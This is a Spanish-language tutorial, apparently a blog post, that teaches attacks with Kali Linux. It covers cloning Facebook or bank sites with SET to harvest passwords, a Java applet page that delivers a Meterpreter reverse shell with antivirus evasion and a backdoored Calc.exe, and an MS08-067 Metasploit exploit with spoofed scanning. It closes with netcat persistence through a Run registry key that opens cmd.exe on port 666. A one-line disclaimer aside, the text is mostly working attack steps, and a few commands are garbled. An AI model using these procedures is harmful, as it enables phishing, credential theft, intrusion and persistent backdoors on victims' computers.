En esta ocasión compartiremos tres procedimientos a realizar con herramientas incluidas en Kali Linux. Primero vamos a copiar un sitio web para que el usuario nos escriba su contraseña. A continuación, Es importante realices estas actividades únicamente en redes en las que te encuentres autorizado a realizarlas, ya que su uso es sancionado. Esta publicación es únicamente para fines educativos y demostrativos, no nos responsabilizamos por el uso que le des.
Phishing e ingeniería social
Los métodos más sencillos para ganar acceso al computador de la víctima implican la entrega de datos diréctamente por parte de esta o la suplantación de identidad (phishing) mediante correos o sitios web que se camuflan como pertenecientes a una institución de confianza (por ejemplo, un banco).
Lo primero que practicaremos será la clonación de un sitio web para que el usuario nos entregue su contraseña. Para ello:
- Abrimos SET
- Elegimos «1» y apretamos enter (Social-Engineering Attacks)
- Ahora seleccionamos la «2» (Website Attack Vectors)
- Cargamos la número «3» (Credential Harvester Attack Method)
- Le sigue «2» (Site Cloner) y ponemos nuestra ip (Ej: 192.168.161.130)
- Ingresamos la dirección a copiar (Ej: http://facebook.com o la de un banco)
- Apretamos {return}
En este momento tendremos un página igual al de la página que elegimos si es que alguien accede a nuestra ip desde un navegador web. La ingeniería social consiste en persuadir a la persona de ingresar a la página para que, en esta, ingrese sus datos personales. Al momento de ingresar sus datos será dirigido al sitio real y pensará que ingresó mal la contraseña usualmente sin sospechar.
A nosotros, en pantalla nos aparecerán las siguientes cadenas de texto: «POSSIBLE USERNAME FIELD FOUND: email=CUENTA» y «POSSIBLE PASSWORD FIELD FOUND: pass=PASS» (donde CUENTA y PASS irán los datos ingresados por el usuario).
A continuación, a través de un proceso similar, crearemos una página que solicitará descargar un archivo para funcionar correctamente. Este archivo nos dará acceso temporal al sistema. Para ello:
- Abrimos SET
- Seleccionamos el número 1, (Social Engineering Attacks)
- A continuación, el «2» (Website Attack Vectors)
- Luego «1» (Java Applet Attack Method). Esto creará una aplicación Java para controlar la máquina.
- Ahora elegimos «1» (Web Templates) para crear una página genérica, o la opción «2» (Site Cloner) le permite a SET usar una web existente como plantilla.
- Ahora habremos de elegir «1» (Java Required)
- Elegimos un payload a enviar, usualmente se elite el «2» (Windows Reverse_TCP Meterpreter), pero se puede elegir el que se desee (tienen diferente efectividad). Por ejemplo, el número «13», “ShellCodeExec Alphanum Shellcode” difiere de otros porque corre desde la memoria, siendo efectivo contra la mayoría de los programas antivirus.
- Ahora debemos decidir un tipo de codificación para evitar programas antivirus. “Shikata_ga_nai” es muy popular, «Multi-Encoder» usa múltiples codificadores, pero el mejor es el «16» (Backdoored Executable). Éste último agrega el programa de puerta trasera a un programa legítimo como Calc.exe.
- Elige el puerto al cual escuchar (el predeterminado es suficiente). Ahora Kali Linux lo configura todo. Crea el programa, lo codifica y lo empaqueta. Al terminar verás una pantalla como esta:
- Ya estamos listos. Ahora, si una víctima ingresa a la IP de nuestro computador, se le solicitará correr una aplicación Java para ver el sitio correctamente. Si la corre, tendremos una sesión remota a ese computador desde Backtrack:
- Ahora que tenemos una puerta de acceso al PC, usemos “Sessions -i” y el número de sesión para conectarnos. Una vez conectados podemos usar comandos de Linux para navegar remotamente el PC, o correr «shell» para tener una línea de comandos de Windows remota.
Eso es todo. El usuario puede cerrar el navegador y continuaremos conectados, porque una vez que la shell se conecta, no se requiere más de la página web. La mayoría de los atacantes solidificarán su conexión con el PC y unirán la sesión a otro proceso para hacer desaparecer el shell.
Metasploit y ataque en red:
Este método, a diferencia del anterior, no requiere que el usuario cargue una página. Nosotros nos meteremos a su computador por la fuerza.
Para preparar Kali Linux para el proceso debemos correr dos comandos (activar los procesos apache y ssh):
- /etc/init.d/apache2 start
- /etc/init.d/ssh start
- sshd generate
Ahora empezaremos por reconocer a quien atacaremos.
Para saber más información de la «víctima», habremos de correr nmap, herramienta que escanea puertos abiertos y permite conocer servicios en ejecución y el sistema operativo del objetivo. Para ello, usaremos el comando
- nmap -e eth0 -PN -S IPNUESTRA -sV -O IPVICTIMA (Reemplazar IPNUESTRA con una IP falsa para encubrirnos e IP VICTIMA por la IP del objetivo).
Otra herramienta que puede sernos de utilidad es Lanmap, ya que nos genera una imagen de como vendría a estar armada la red (Nos crea un mapa con los routers y computadores existentes). Se utiliza mediante
- lanmap -v -i eth0 -r 30 -T png -o /root/ (La imagen será guardada en /root)
Explotando vulnerabilidades:
Ahora, usando de base lo recolectado, podemos pasar a armar el ataque con metasploit. Esta herramienta permite explotar una grandísima cantidad de fallos conocidos en los sistemas para darnos acceso remoto a la máquina.
- use windows/smb/ms08_067_netapi
- set payload windows/meterpreter/reverse_tcp
- set RHOST IPVICTIMA
- set LHOST IPNUESTRA
- exploit (inicia el ataque y debiera darnos acceso a una línea de comandos de Windows)
Afianzando la conexión
El ataque anterior dura hasta que la víctima o el atacante se desconecte. Para permitir acceso futuros se han de habilitar «puertas traseras». Para esto se usa la herramienta netcat.
Primero enviaremos netcat al computador víctima con:
- upload /root/nc.exe C:\\Windows\\System32\\
Luego registraremos netcat para que inicie con Windows y nos habilite el puerto 666 para permitirnos entrar cuando querramos:
- reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Lab
- Backtrack -d ‘C:\Windows\System32\nc.exe -L -d -p 666 -e cmd.exe’
Ahora podemos reiniciar con «reboot» y debiéramos podernos conectar mediante netcat o metasploit directamente a la puerta trasera (puerto 666 en este caso).